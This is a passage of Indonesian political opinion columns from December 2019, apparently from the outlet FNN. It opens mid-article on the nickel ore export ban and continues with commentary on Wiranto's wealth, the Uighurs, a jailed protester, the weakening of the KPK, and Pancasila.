kebijakan larangan ekspor nikel ore dimajukan atau dipercepat lagi, dari yang semula tanggal 1 Januari 2020. Pemerintah menyatakan, larangan ekpor nikel ore berlaku efektif tanggal 28 Oktober 2019 lalu. Artinya, dimajukan lebih cepat lagi dua bulan. Aneh tapi nyata. Dari sinilah bencana itu datang menimpa para penambang dan eksportir nikel ore. Padahal mereka yang hampir semuanya pengusaha nasional. Hampir 95% dari nereka adalah pengusaha yang ber KTP Indonesia. Mereka sejak lahir, besar, dan merintis usaha menjadi pengusaha di Indonesia. Sampai sekarang masih bangga dan cinta dengan Indonesia. Hanya sekitar 5% dari mereka penguasa nikel ini yang milik asing. Akibat kebijakan pemerintah mengenai larangan ekspor biji nikel mentah yang berubah-rubah dan dipercepat, membuat penambang dan eksportir nikel nasional meradang. Mereka sekarang hanya bisa maratapi nasib ke depan. Sebab mereka tidak bisa lagi mengekspor nikel ore. Dampak negatifnya dipastikan bakal bermacam-macam. Apalagi untuk para eksportir yang terlanjur membuat kontrak ekspor jangka panjang dengan pembeli (buyer) di luar negeri sampai 31 Desember 2019. Mereka pasti terkena denda oleh buyer. Masalah lainnya, kemungkinan tidak lancarnya pambayaran sewa dan cicilan peralatan atau leassing untuk exavator dan dump truck. Sampai disini belum selesai masalah yang ditimbulkan. Pembayaran cicilan ke bank juga bakal menemui kendala. Bisa jadi cicilan ke bank bakal macet, karena tidak ada pendapatan. Pemutusan Hubungan Kerja (PHK) juga tidak bisa dihindari. Jadinya, ibarat sudah jatuh tertimpa tangga pula. Sebab, sama buyer di luar negeri didenda akibat pemerintah yang tidak lagi mengizinkan ekspor nikel ore. Sementara di dalam negeri juga didenda puluhan miliar rupiah oleh pemilik tongkang, karena terkena demurrage. Kasian amat nasibmu wahai penambang dan eksportir bijih nikel mentah. Rampok Pakai Hukum Akibat dari beban-beban biaya yang berat itu, membuat penambang dan pemilik Izin Usaha Pertambnangan Khusus (IUPK) nikel terkadang mengambil jalan pintas. Mereka terpaksa menjual izin tambangnya kepada pihak lain. Dijual dengan harga murah (harga meerreeng). Sementara yang sudah siap dan punya peluang membeli izin-izin tambng dengan harga murah itu perusahaan yang sudah membangun pabrik smelter 100%. Diantaranya PT SMI di Morowali, PT VDNI di Konawe dan PT WBN Halmahera. Semula pemerintah mengizinkan penambang mengekspor bijih nikel mentah. Tujuanya untuk mendorong dan mambantu mereka membangun pabrik smelter. Dengan keuntungan yang didapat dari ekspor nikel ore, bisa untuk membangun pabrik smelter. Namun dengan keluarnya kebijakan larangan ekspor yang dipercepat ini, keinginan melihat warga negara Indonesia mempunyai pabrik smelter, cuma hayalan saja. Jadi, jangankan ada orang Indonesia yang bakal mempunyai pabrik smelter. Mereka yang sudah punya izin tambang nikel saja, kemungkinan bakal lepas atau hilang. Lagi-lagi, karena izin tambangnya bakal dijual dengan harga murah. Tragis sekali nasibmu untuk menjadi pengusaha nikel di negeri Pancasila ini kawan. Kenyataan ini adalah model perampokan paling canggih di abad sekarang. Pola merampok model ini biasanya dilakukan para korporasi global. Setelah merampok, mereka menguasai sumberdaya alam di negara itu. Bagaimana caranya? Dengan menunggangi dan memperalat semua celah hukum positif yang berlaku di negara tersebut. Siapa saja pejabat Indonesia yang paling berjasa mendorong agar nikel Indonesia dirampok, dikuasai dan dimonopoli oleh perusahaan Cina Tiongkok? Meski sulit untuk dibuktikan, namun bisik-bisik di kalangan para pengusaha dan eksportir nikel ore menunjuk pada seorang menteri di anggota kabinet Jokowi-Ma’ruf Amin. Menteri itu terkenal dengan sebutan “Menteri Segala Urusan”. Sebagian politisi dan aktivis demokrasi ’98 yang menyebutnya dengan “Menteri Urusan Percaloan”. Apalagi, pak Menteri tersebut diduga mempunyai kedekatan dengan satu dari tiga perusahaan pabrik smelter yang sudah bisa beroperasi 100% tersebut. Tampak ada conflict of interest antara Pak Menteri dengan kebijakan larangan ekspor nikel ore yang dipercepat. Saya sih antara percaya dan tidak percaya. Sebab bisa saja para penambang dan eksportir nikel ini hanya syirik, su’udzon kepada pak Menteri. Begitu juga dengan politisi dan aktivis demokrasi. Mereka hanya cembokur kepada pak Menteri yang huebat ini. Wallaahualam bishawab. (bersambung). Penulis adalah Wartawan Yunior

Contohlah Pak Wiranto Dalam Melipatgandakan Kekayaan

By Asyari Usman Jakarta, FNN - Maaf ya Pak Wiranto. Ini bukan usil. Cuma senang dan kagum. Bapak bisa memperbanyak harta kekayaan dalam jumlah yang fantastis dalam waktu 10 tahun. Pada tahun 2009, ketika Pak Wir maju sebagai cawapres, harta yang beliau laporkan “hanya” 81 miliar. Ketika beberapa hari lalu (13 Desember 2019) dilantik menjadi ketua Dewan Pertimbangan Presiden (Wantimpres), total kekayaan yang dilaporkan Wiranto menjadi 542 miliar. Jadi, dalam waktu 10 tahun, kekayaan mantan Menkopolhukam itu bertambah 461 miliar. Tentu ini luar biasa! Perlu dicontoh cara Pak Wir menggelembungkan jumlah kekayaannya. Terutama perlu dicontoh oleh para pejabat yang sedang memegang kekuasaan. Pastilah banyak yang ingin belajar kiat-kiat beliau dalam mengelola kekayaan. Pertambahan yang begitu besar menunjukkan bahwa Wiranto sangat kreatif mengembangkan kekayaan. Presiden, Menteri Keuangan, Menteri BUMN, dll, perlu berkonsultasi kepada Pak Wiranto. Beliau ini membuktikan kemampuan dalam meningkatkan kekayaan pribadinya. Bayangkan kalau cara Pak Wir itu diadopsi ke dalam kebijakan ekonomi dan keuangan negara. Tak perlu lagi Indonesia berutang. Tidak akan pernah defisit. Sebaliknya, kita akan melihat kekayaan Indonesia akan bertambah fantastis. Para ahli keuangan, para dirut BUMN, belum tentu bisa menambah kekayaan sebesar 570% dalam 10 tahun. Pak Wiranto sudah membuktikannya. Bukankah itu artinya Pak Wir diam-diam sangat piawai dalam mengelola kekayaan? Padahal, penggelembungan kekayaan beliau itu dilakukan di sela-sela kesibukan beliau sebagai pejabat negara. Artinya, beliau tidak serius mencari duit. Bayangkan kalau Pak Wir fokus dan serius hari-hari memikirkan pengembangan kekayaan negara ini. Pasti tidak ada lagi rakyat miskin. Kita bisa seperti Swiss atau Finlandia. Semuanya gratis. Perawatan kesehatan gratis total. Tidak perlu bertengkar soal BPJS. Pendidikan gratis sampai selesai perguruan tinggi. Pengangguran akan mendapat tunjangan, bukan tendangan. Cuti melahirkan menjadi satu atau dua tahun, tidak hanya tiga bulan. Sangat mengherankan mengapa pemerintah, Presiden, tidak menyerahkan pengelolaan perekonomian dan keuangan kepada Pak Wiranto. Beliau ini asli praktisi keduitan. Bukan sekadar berteori. Pak Rizal Ramli, Pak Kwik Kian Gie, Faisal Basri, dlsb, cuma bisa memaparkan teori-teori saja. Pak Wiranto tidak perlu teori. Beliau praktik langsung dalam menumpuk kekayaan. Pak Wir tak perlu teori mikro dan makro ekonomi. Tak perlu “prudence of investment analysis”. Juga tak perlu “new strategy in new business environment”. Pokoknya, tidak perlu analisis atau identifikasi lingkungan bisnis. Jadi, tunggu apalagi? Pak Wiranto telah membuktikan kapabilitas dan kapasitasnya dalam mengelola kekayaan. Dari 81 miliar menjadi 542 miliar dalam 10 tahun. Saya yakin selama ini Presiden menempatkan orang yang bukan ahli di bidang ekonomi dan keuangan di posisi-posisi kunci. Tapi, insyaAllah belum terlambat. Sebagai ketua Wantimpres 2019-2024, ini kesempatan Pak Jokowi dan para menteri Ekuin untuk menimba ilmu dari Pak Wiranto. Lima tahun ke depan tentu cukup panjang waktu untuk belajar. Tentang cara menggelembungkan kekayaan versi Wiranto. Nanti bisa kita sebut “Wirantonomic” atau “Wirofulusology”. Sebagai ilustrasi saja, Pak Wiranto itu punya 56 aset berbentuk tanah dan bangunan. Saya kutipkan 10 aset yang nilainya di atas 10 miliar. Ada enam kapling di Jakarta Timur, yaitu (1)tanah dan bangunan 5,720 meter senilai 19.3 M; (2)tanah dan bangunan 3,135 meter seharga 10.6 M; (3)tanah dan bangunan 4,771 meter seharga 16.1 M; (4)tanah dan bangunan 3,280 meter senilai 11 M; (5)tanah dan bangunan 5,493 meter senilai 30.2 M; (6)tanah dan bangunan 470 meter seharga 11.7 M. Ada tiga kapling di Jakarta Pusat, yaitu (1)tanah dan bangunan 600 meter seharga 14.1 M; (2)tanah dan bangunan 850 meter seharga 20 M; (3)tanah dan bangunan 830 meter senilai 19.5 M. Kemudian ada satu kapling di Jakarta Selatan seluas 470 meter seharga 23.5 M. (Sumber: JawaPos edisi 13 Desember 2019 dan MoneySmart, 23 Mei 2019). Ada satu hal yang patut diacungi jempol. Pak Wiranto mengelola kekayaannya dengan cara menyebar berbagai bentuk investasi. Tanah dan bangunan adalah mayoritas kekayaan beliau. Nilai totalnya, termasuk 10 kapling yang diuraikan di atas, adalah 276.8 miliar. Tetapi, ada juga surat berharga 15.6 miliar. Beliau memiliki kas atau setara kas sebesar 114.3 miliar. Di tahun 2009, Pak Wir sempat punya dolar sebanyak USD378 ribu. Hebat sekali Pak Wir. Sangat piawai. Dan prudent. Jadi, contohlah Pak Wiranto dalam hal melipatgandakan kekayaan. Negara bakal kaya, penduduk bakal makmur.[] 15 Desember 2019 Penulis wartawan senior.

Soal Uigur, Zeng Wei Jian Termakan Propaganda China Komunis

By Asyari Usman Jakarta, FNN - Seorang penulis dengan ceroboh menyebut para pejuang Uigur, teroris. Dalam tulisan yang berjudul “In the Name of Uyghur”, Zeng Wei Jian (ZWJ) seenaknya menggolongkan para pejuang HAM Uigur dengan sebutan yang menyakitkan itu. Persis seperti penguasa kejam RRC mencap mereka. Zeng Wei mengatakan, “Aktifitas teroris Uyghur meningkat sejak tahun 2012.” Hampir pasti, labelisasi teroris terhadap para pejuang Uigur seperti kalimat di atas ini adalah propaganda RRC. Dengan ikut menyebut pejuang Uigur teroris, si penulis jelas menjadikan dirinya sebagai corong penguasa China komunis yang melakukan penindasan terhadap kaum muslimin Uigur. Zeng Wei termakan propaganda China. Labelisasi teroris itu tidak hanya menyakitkan orang Uigur, tetapi juga menusuk perasaan umat Islam Indonesia. ZWJ mungkin menganggap bahwa orang Indonesia tidak paham sejarah Uigur. Dia mencoba mengelabui publik. Dia katakan bahwa warga Uigur adalah orang Tionghoa campuran antara Turkestan dan Han. Ini pembohongan publik. Orang Uigur adalah kelompok minoritas keturunan Turki yang berasal dari dan terhubung dengan kebudayaan Asia tengah. Orang Uigur tidak sama dengan orang China. Baik secara fisik maupun psikis. Perawakan mereka berbeda dari orang Han atau suku-suku lain di China. Ideologi dan tradisi Uigur juga berbeda. Yang lebih memuakkan lagi adalah pembelaan Zeng untuk rezim brutal RRC. Dia mengatakan, “Mereka koar-koar Tiongkok anti-Islam.” Tidak lain, ini ditujukan Zeng Wei kepada orang-orang yang menyuarakan pembelaan untuk Uigur. Selain itu, kalimat ini menunjukkan bahwa ZWJ berpendapat RRC tidak anti-Islam. Padahal, sejarah mencatat rezim RRC mengimplementasikan kebijakan yang sangat kejam terhadap umat Islam Uigur. Zeng menutup mata bahwa sejak zaman Mao Tse Tung, RRC tak pernah berhenti menindas Uigur. Mao mengirimkan migran suku Han (mayoritas di RRC) dalam jumlah besar ke wilayah Turkestan Timur (yang kemudian diberi nama Xingjiang setelah dicaplok China). Program transmigrasi ini bertujuan untuk membuat suku Uigur menjadi minoritas. China berhasil. Uigur menjadi warga minoritas di negerinya sendiri. Penindasan berlansgung terus. Hampir satu juta warga Uigur dikurung di dalam kam konsentrasi. China komunis mengatakan mereka direedukasi (dididik ulang). Di kam yang sangat besar, warga Uigur dipaksa mengikuti ajaran komunis. Dipaksa meninggalkan ajaran Islam. Bahkan dipaksa memakan daging babi. Dipaksa tidak berpuasa di bulan Ramadan. Itulah yang dilakukan oleh rezim komunis RRC. Zeng Wei, entah karena apa, menyediakan dirinya menjadi propagandis komunis China itu. Dia mengatakan sesuatu yang sangat menusuk kaum Uigur. Di salah satu paragraf “In the Name of Uyghur”, Zeng mengerdilkan dan melecehkan orang Uigur. Kata Zeng Wei, “Separatis Uyghurs menghibur diri dengan “the Right of Ancestry” (Hak Leluhur). Ini dikatakan Zeng terkait dengan apa yang dia gambarkan sebagai “perlakuan baik rezim China terhadap umat Islam dari suku Hui”. Umat Islam Hui dikatakan ‘implicitly’ oleh Zeng Wei punya hubungan baik dengan rezim komunis. Mereka dibolehkan menjalankan ajaran Islam, mempunya banyak masjid, dll. Padahal, semua ini adalah propaganda RRC untuk mendiamkan umat Islam di negara-negara lain. RRC memang membuat “etalase Islam” yang dibuat bagus dan mempesona. Padahal, sebagai etalase, umat Islam Hui pun juga ditindas. Dikekang dan dikendalikan. Under the full control of the brutal communist authority. Rezim komunis China menyiapkan propaganda besar-besaran untuk menutupi kekejaman dan kesadisannya terhadap umat Islam Uigur. Di balik penghancuran banyak masjid dan situs-situs Islam di Xinjiang, RRC mencoba menampilkan wajah bersahabat. Semua ini hanya kamuflas. Investigasi BBC (British Broadcasting Corporation) di bulan Juni 2019 menunjukkan bahwa China melakukan penghancuran masjid besar-besaran di wilayah Xinjiang. Tapak-tapak masjid itu mereka jadikan pusat-pusat komersial. Dengan semena-mena. Khusus untuk Zeng Wei, Anda sepantasnya paham bahwa China komunis melancarkan tindakan yang sangat kejam di Xinjiang. Orang Uigur menjadi bangkit –dan mereka disebut teroris oleh Beijing— untuk melawan kebrutalan dan kesadisan rezim China itu. Sangatlah wajar jika kemudian muncul kelompok pejuang yang melakukan perlawanan. Mereka tidak punya pilihan lain. Sebab, RRC melakukan kebijakan dan tindakan yang jelas-jelas bertujuan untuk melenyapkan Islam di kalangan Uigur. Saya berharap agar Zeng Wei Jian tidak lagi ikut-ikutan melabel para pejuang Uigur sebagai teroris.[] 14 Desember 2019 Penulis wartawan senior.

Kalau Luthfi “Bendera” Alfiandi Dihukum Penjara

Oleh Asyari Usman Jakarta, FNN - Anak muda itu bernama Luthfi Alfiandi. Dia juga dipanggil Dede Luthfi Alfiandi. Polisi menangkapnya pada 30 September 2019. Dengan tuduhan melawan atau menyerang polisi dalam aksi protes revisi UU KPK di depan gedung DPR, Senayan, Jakarta. Luthfi menjadi pendemo yang terkenal. Foto dirinya yang menyandang bendera merah-putih, menjadi viral. Dilihat jutaan orang melalui semua platform media sosial. Heroik di mata publik. Apa gerangan tindak pidana yang dilakukan Luthfi? Menurut dakwaan jaksa, Luthfi berniat melakukan keonaran atau kerusuhan dalam aksi unjuk rasa di DPR itu. Ada beberapa pasal KUHP yang didakwakan. Pertama, pasal 212 juncto Pasal 214 ayat 1. Kemudian, pasal 170. Yang ketiga, pasal 218. Inilah yang dibacakan jaksa penuntut umum dalam sidang perdana Luthfi di Pengadilan Negeri Jakarta Pusat, Kamis (12/12/2019). Dakwaan yang berlapis. Ada kesan, para penguasa ingin anak muda ini mendekam di penjara. Ingin agar dia diberi pelajaran. Supaya anak-anak muda lainnya menjadi ciut. Padahal, di kamus anak-anak setara STM tidak ada kata “ciut”. Kalau sekiranya Luthfi dijatuhi hukuman penjara, apa yang akan terjadi? Anak muda usia 20 tahun ini akan semakin terkenal. Semakin dicintai publik. Dia akan menjadi pahlawan. Menjadi simbol perlawanan terhadap kesewenangan. Para penguasa, khususnya Polisi, mungkin akan melihat Luthfi sebagai terpidana. Polisi mungkin juga puas kalau dia dihukum. Tidak begitu anggapan publik. Luthfi akan diingat sebagai anak muda bersih yang berani menghadapi risiko maut melawan kezliman penguasa. Bagi publik, kasus Luthfi itu sendiri adalah bentuk kesewenangan. Bisa juga dilihat sebagai wujud dari kecengengan Polisi. Kenapa begitu? Karena dalam demo anak-anak muda pastilah ada lempar-melempar. Unjuk rasa tentulah bukan arena karaoke. Lempar batu dan luka adalah ciri demo. Dan bukan petugas keamanan saja yang mengalami cedera. Puluhan pengunjuk rasa juga luka-luka akibat tindak kekerasan para petugas. Dan bahkan ada yang tewas terkena peluru tajam. Apakah itu berarti pendemo boleh melakukan tindak kekerasan terhadap Polisi? Tentu tidak. Cuma, Polisi tidaklah perlu menangkap seorang pendemo “tangan kosong” untuk dibawa ke pengadilan. Paling-paling kesalahan Luthfi adalah menunjukkan keberaniannya di tengah situasi yang setiap saat bisa mengancam jiwanya. Luthfi bernyali baja. Mungkin ini yang “menjengkelkan” Pak Polisi. Penangkapan Luhtfi menjadikan dirinya bintang perlawanan terhadap kezaliman. Hukuman penjara, kalau pengadilan memutuskan begitu, akan membuat anak Ibu Nurhayati itu menjadi lebih top lagi. Dia akan mendominasi pembahasan di media besar dan media sosial. Luthfi akan menjadi alat ukur kearifan penguasa. Juga menjadi ukuran kesewenangan dan kecengengan. Jangan lupa. Ada aspek lain kasus Luthfi. Sejak kemarin, para politisi oportunis berlomba-lomba “mencari muka” di depan publik. Mereka siap menjadi pahlawan untuk membebaskan anak muda yang viral ini. Siapa tahu tokoh muda legendaris ini bisa diajak masuk ke partai mereka. Untuk bintang masa depan.[] 13 Desember 2019 Penulis wartawan senior.

Hari Antikorupsi Dirayakan dalam Suasana Prokorupsi

By Asyari Usman Jakarta, FNN - Dua hari yang lalu, 9 Desember 2019, seluruh dunia merayakan Hari Antikorupsi Internasional. International Anti-Corruption Day (IACD). Orang Indonesia juga ikut menggelar perayaan ini. Di bagian-bagian lain dunia, perayaan itu menunjukkan kecocokan antara tekad dan tindakan untuk membasmi korupsi. Artinya, keinginan mereka untuk melenyapkan korupsi sejalan dengan kebijakan pemerintah. Tekad keras, tindakan pun keras. Di Indonesia? Lain sama sekali. Narasi untuk melenyapkan korupsi tidak sejalan dengan langkah pemerintah. Lain ucapan, lain perbuatan. Para politisi berapi-api tentang korupsi. Tapi, pada saat yang sama, mereka membukakan lebar-lebar pintu korupsi itu. Kalau di banyak negara, instrumen-intrumen pencegahan dan pembasmian korupsi dari waktu ke waktu diperkuat terus. Tapi, tidak di Indonesia. Khususnya pada tahun 2019 ini. Tindakan antikorupsi diperlemah. Komisi Pemberantasa Korupsi (KPK) yang dipandang oleh publik sebagai satu-satunya lembaga terpercaya dalam memberangus korupsi, sekarang dimandulkan oleh Presiden Jokowi. Bekerja sama dengan DPR. Artinya, DPR dan Presiden sepakat mengebiri KPK. DPR menciptakan revisi UU KPK yang membuat lembaga ini menjadi ompong. Setelah itu, Presiden menurunkan tanda tangannya. Inilah suasana perayaan IACD di Indonesia. Hari antikorupsinya dirayakan, tapi pemberantasan korupsinya dilemahkan. Anda masih ingat, ketika rangkaian unjuk rasa menentang revisi UU KPK berlangsung akhir September, waktu itu Presiden Jokowi diyakini akan menerbitkan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) untuk membatalkan revisi itu. Namun, yang terjadi hanyalah harapan kosong. Revisi UU KPK itu berlaku mulai 17 Oktober. Jokowi sepakat dengan DPR. Khususnya dengan PDIP sebagai partai yang paling getol merevisi UU KPK. PDIP-lah yang menjadi “drive” revisi itu. Yang menjadi penggalang utamanya. Mereka berhasil. KPK pun berantakan, tak berdaya. Revisi itu mewajibkan pembentukan Dewan Pengawas (DP). DP ini memiliki kekuasaan yang sangat besar. Boleh dikatakan kekuasaan mutlak. Sebagai contoh, bila para komisioner KPK ingin melakukan penyadapan telefon untuk menangkap para koruptor yang akan bertransaksi, maka harus ada dulu izin dari DP. Prosedur baru ini menyebabkan operasi tangkap tangan (OTT) tak bisa lagi semulus selama ini. Izin bisa saja ditolak. Atau bahkan para oknum di DP bisa membocorkan penyadapan kepada orang yang akan disadap oleh KPK. Hal lainnya termasuk penghapusan keistimewaan status pegawai KPK. Mereka dijadikan sebagai ANS biasa dengan penghasilan standar pegawai negeri. Tidak ada lagi insentif yang selama ini membuat kinerja para pegawai KPK sangat professional dan berani. Ke depan, setelah masa tugas pimpinannya selesai bulan ini, pemberantasan korupsi oleh KPK hampir bisa dipastikan tidak akan menjamah kelompok orang tertentu. Apalagi ketua KPK yang baru, Irjen Firli Bahuri, terpilih atau dipilih di tengah sikap skeptis publik. Sangat diragukan komitmen ketua KPK yang baru. Sebab, sangat kental kesan bahwa Irjen Firli dipaksakan menjadi ketua untuk “menijanakkan” KPK. Banyak yang menduga Pak Firli akan melenturkan tugas KPK dengan misi pihak-pihak yang menghendaki pengenduran pemberatasan korupsi. Tentu ini sangat memprihatinkan. Ada gejala para pemegang kekuasaan di lini eksekutif dan legislatif bersepakat menumbuhkan kondisi yang menguntungkan para pelaku korupsi. Barangkali, itulah sebabnya Hari Anti-Korupsi tahun ini di dirayakan di Indonesia dalam suasana Prokorupsi.[] 11 Desember 2019 Penulis wartawan senior.

Pancasila, Catatan Untuk Pikiran Rocky Gerung

By Dr. Syahganda Nainggolan Jakarta, FNN - Setelah Rocky Gerung menuduh Jokowi tidak faham Pancasila, situasi dan perdebatan terkait isu ini memanas. Tuduhan Rocky terhadap Jokowi dihubungkan antara kebijakan atau prilaku Jokowi dengan sila-sila yang ada. Misalnya, Rocky mengatakan bahwa arahan Jokowi kepada pemerintahan daerah agar tidak meminta amdal (analisa mengenai dampak lingkungan) merupakan anti sila kelima (Keadilan Sosial Bagi Seluruh Rakyat Indonesia) . Menaikkan iuran BPJS juga menurut Rocky bertentangan dengan Pancasila. Sedangkan membubarkan sebuah ormas tanpa pengadilan juga bertentangan dengan sila keempat (Kerakyatan Yang Dipimpin Oleh Hikmat Kebijaksanaan Dalam Permusyawartan dan Perwakilan). Kita perlu mendiskusikan ini agar kita dapat mendudukkan urgensi isu ini dalam kehidupan berbangsa dan bernegara. Setelah presiden Indonesia boleh tidak berdarah Indonesia, paska amandemen UUD ‘45 asli selama 1999-2002, isu presiden tidak faham Pancasila menjadi penting kita sepakati. Artinya, jika benar Presiden Republik Indonesia tidak faham Pancasila, apakah itu sebuah kesalahan? atau kejahatan? Bagaimana kalau anak-anak sekolah jadi alergi terhadap Pancasila? Pancasila Philosophische Grondslag vs Ideologi Adnan Buyung Nasution mengatakan ada tiga kelompok ideologis yang bertarung dalam debat Badan Konstituante (Lembaga Pembentuk UUD) sepanjang tahun 1955-1957. Buyung mengatakan itu dalam "The Aspiration for Constitutional Government in Indonesia 1992, yang berbasis disertasinya di Universitas Utrecht Belanda. Ketiga tersebut adalah, kelompok Pancasila, Kelompok Islam dan Kelompok Sosial-Ekonomi. Kelompok pertama diwakili antara lain oleh PNI (Partai Nasionalis Indonesia) dan PKI (Partai Komunis Indonesia). Kelompok kedua diwakili antara lain Masyumi dan Nahdatul Ulama. Sedang kelompok ketiga diwakili antara lain Partai Murba dan Partai Buruh. Jumlah peserta masing-masing 274 orang, 230 orang dan sisanya 10. "Philosophische Grondslag" (Filosofi dasar) atau dalam bahasa Jerman "Weltanschauung" (view to the world atau pandangan dunia) adalah penjelasan tentang sebuah alasan atas sebuah eksistensi. Pancasila disebutkan filosofis dasar. Kalau dulu, karena menjelaskan alasan adanya sebuah dasar negara baru, yakni negara Indonesia. Dasar itu sendiri bervariasi dari pandangan ekstrim yang menyamakannya. Seperti "fondasi rumah" oleh berbagai perumus konstituante maupun sekedar pegangan hidup biasa, tanpa retorika, seperti yang dipikirkan Sutan Takdir Alisyahbana, anggota PSI. Pancasila dikatakan sebagai "living spirit" dari Bangsa Indonesia. Living spirit ini adalah sebuah konsensus atau sebuah "common platform" yang mampu menghimpun sebuah kebersamaan atau sebuah himpunan kebangsaan. Sebuah ajaran harmoni, ajaran toleransi, dan gotong royong. Namun, sering pula Pancasila dimaknai sebagai ideologi negara. Idiologi bukan sekedar filosofi dasar ataupun "living spirit", melainkan sebuah ajaran baku yang menggerakkan bangsa kita. Yang pertama lebih statis. Sebaliknya, yang terakhir lebih dinamis. Dalam pertarungan di Majelis Konstituante, disebutkan pertarungan ideology. Karena dasar negara yang dibicarakan memang mencakup konsepsi ideologi negara. Sebab, dulu pada sidang-sidang Badan Persiapan Usaha-Usaha Kemerdekaan Indonesia (BPUPKI), semua dianggap dilakukan dengan tergesa-gesa, atau sekedar "kejar tayang". Semua yang dibuat oleh BPUPKI ketika itu dalam rangka melihat peluang kemerdekaan yang diarahkan kolonial Jepang. Sehingga, sudah di alam kemerdekaan, dalam waktu yang panjang, dikhususkan sebuah waktu pembahasan untuk mengetahui dasar negara kita. Pancasila bergeser sebagai ideologi, menurut Buyung Nasution, dimulai ketika Sukarno berpidato di Amuntai, Kalimantan, 1953, tentang Pancasila vs Islam. Sukarno, yang sebelumnya melihat Pancasila sebagai konsensus atau filosofi dasar untuk mengakomodasi berbagai ideologi dan faham yang berkembang di Indonesia, mulai mengkristalkan Pancasila sebagai sebuah ajaran khusus. Sukarno kelihatannya pada tahun-tahun 50-an telah meninggalkan faham integralistik facism bergeser ke arah sosialistik. Pertama, ini bisa dilihat dengan persekutuan PNI dan PKI yang kokoh, khususnya dalam Majelis Konstituante. Kedua, kebangkitan Komunis dunia saat itu, sudah menggeser kelompok-kelompok fasis (Jepang, Jerman dan Italia) sebagai anti tesa terhadap kejayaan kapitalis yang dimusuhi Sukarno. (Sukarno selama penjajahan Jepang di Indonesia menjadi "kaki tangan" Jepang). Sebuah ideologi adalah sebuah ajaran yang bisa menggerakkan. Sukarno telah meninggalkan Pancasila dari "filosofi dasar" (yang dalam istilah Jean Paul Sartre sebagai "major system of thought") kepada ideologi, (Sartre: "minor system of ideas living on the margin of the genuine philosophy and exploiting the domain of greater system). Agar Pancasila bisa menjadi ideologi, Sukarno meintegrasikan Komunisme sebagai kekuatan inti dan pandangan-pandangananti Islam sebagai penguat, pada ajaran sosialisme Sukarno tersebut. Melalui Komunisme, Sukarno mampu menemukan kembali semangat perlawanan dan ambisinya untuk menantang kapitalisme global. Komunisme mengajarkan bagaimana menemukan "false consciousness" untuk merekonstruksi eksistensi "kaum Marhaen" sebagai sebuah "Class Consciousness". Setelah lima belas tahun Pancasila dengan inti komunisme dijalankan Sukarno, dan berakhir lumpuh pada tahun 1968, Ketika itu pula era Bung Karno berakhir. Selanjutnya, Pancasila kembali bergeser dari ideologi menjadi "philosophische Grondslag" atau "Weltanschauung" di masa Orde Baru. Pancasila di Tangan Jokowi Penjelasan Rocky bahwa Jokowi tidak faham Pancasila mungkin terlalu prematur. Setelah komunisme gagal diseluruh dunia, sosialisme, pragmatism, kapitalisme masih ada sebagai ideologi. Tentu disamping agama-agama yang bergerak dalam ajaran ideologis. Pandangan Jokowi terkait menaikkan iuran BPJS dan melarang AMDAL, yang dituduh Rocky sebagai bukti Jokowi tidak faham Pancasila, merupakan "misleading". Pertama, menaikkan iuran BPJS adalah ajaran "survival for the fittes". Ajaran ini meletakkan tanggung jawab individual itu berpusat pada individual. Pandangan tokoh politik Margaret Thatcher di Inggris dulu, mewakili kaum Libertarian, menolak sama sekali adanya tanggung jawab negara terhadap subsidi bagi orang-orang miskin. Berpikir pro subsidi adalah sosialis. Sebaliknya, memperkecil subsidi bebrati anti sosialis (Neo-Liberal/Libertarian). Kedua, AMDAL dalam perspektif kaum Libertarian dan para kapitalis adalah bagian aturan yang membuat negara "mengganggu" kepentingan pasar (market place). Orang-orang seperti Fredrick Hayek dan Milton Friedman, meyakin negara sebaiknya tidak perlu ada. Dari dua hal di atas, kita melihat bahwa Jokowi menganut suatu pemahaman. Dengan demikian, tidaklah mungkin dikatakan Jokowi tidak faham Pancasila. Jika dikaitkan pada pola penyerangan rezim Jokowi pada Islamisme, seperti dilakukan Sukarno dulu, maka sudah dapat dicermati bahwa Jokowi sedang menggeser lagi Pancasila dari filosofi dasar menjadi ideologi. Kalau ideologi yang ditanamkan Sukarno pada Pancasila dahulu, sebagai inti daripada inti adalah komunisme, maka Jokowi saat ini mungkin mencoba menggerakkannya dengan ideologi kapitalisme. Namun, bisa saja ideologi itu berupa pragmatism? Sebuah pragmatism adalah campur-campur dengan orientasi jalan tengah, seperti Third Way di Inggris, maupun ideologi Komunis ala Deng Xio Ping di China dahulu (Quote Deng: Tidak peduli kucing hitam ataupun kucing putih yang penting bisa tangkap tikus). Untuk itu perlu waktu yang dalam untuk menilai ideologi yang dibawa Jokowi ini. Namun Pancasila sebagai sebuah Konsensus maupun ideologi, memang merupakan produk sejarah. Jika Pancasila itu digali dari spirit masa lalu kita, maka semua bentuk masa lalu kita bervariasi. Dari wisdom yang baik, sampai kepada ajaran-ajaran keji ala Machiavellis dalam kekuasaan. Penutup Sejarah manusia dibentuk dengan berbagai kontestasi dan klaim antara kelompok-kelompok dominan dalam masyarakat. Pada saat tertentu, konsensus dilakukan jika keseimbangan sosial tertentu dianggap lebih baik dalam menghindari perang dan permusuhan. Namun, pada saat tertentu ketika pemimpin yang hadir mempunyai ambisi ideologis, maka konsensus tersebut berubah menjadi perang atau permusuhan untuk memastikan adanya dominasi. Jokowi bukanlah seperti kata Rocky yang tidak faham Pancasila. Malah Jokowi sedang menggeser Pancasila dari sebuah Waltanchung atau Philosophische Grondslag ke arah ideologi. Apakah ideologi itu kapitalisme dan variannya atau pragmatism? Masih perlu diamati. Namun, sebagaimana sejarah mengajarkan, bahwa Islam tidak dapat ditaklukkan di Indonesia. Dan bahaya untuk disingkirkan, "Too Big To Fail". Baik dengan bantuan RRC di masa Bung Karno, maupun dibantu Amerika cdan barat di masa Suharto. Yang penting selalu kita renungkan apakah ada jalan tengah Pancasia. Diantara "common platform" dan ideologi? Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Mantan Wamen ESDM. Archandra, "Eksploitasi Migas Skema Gross Split"

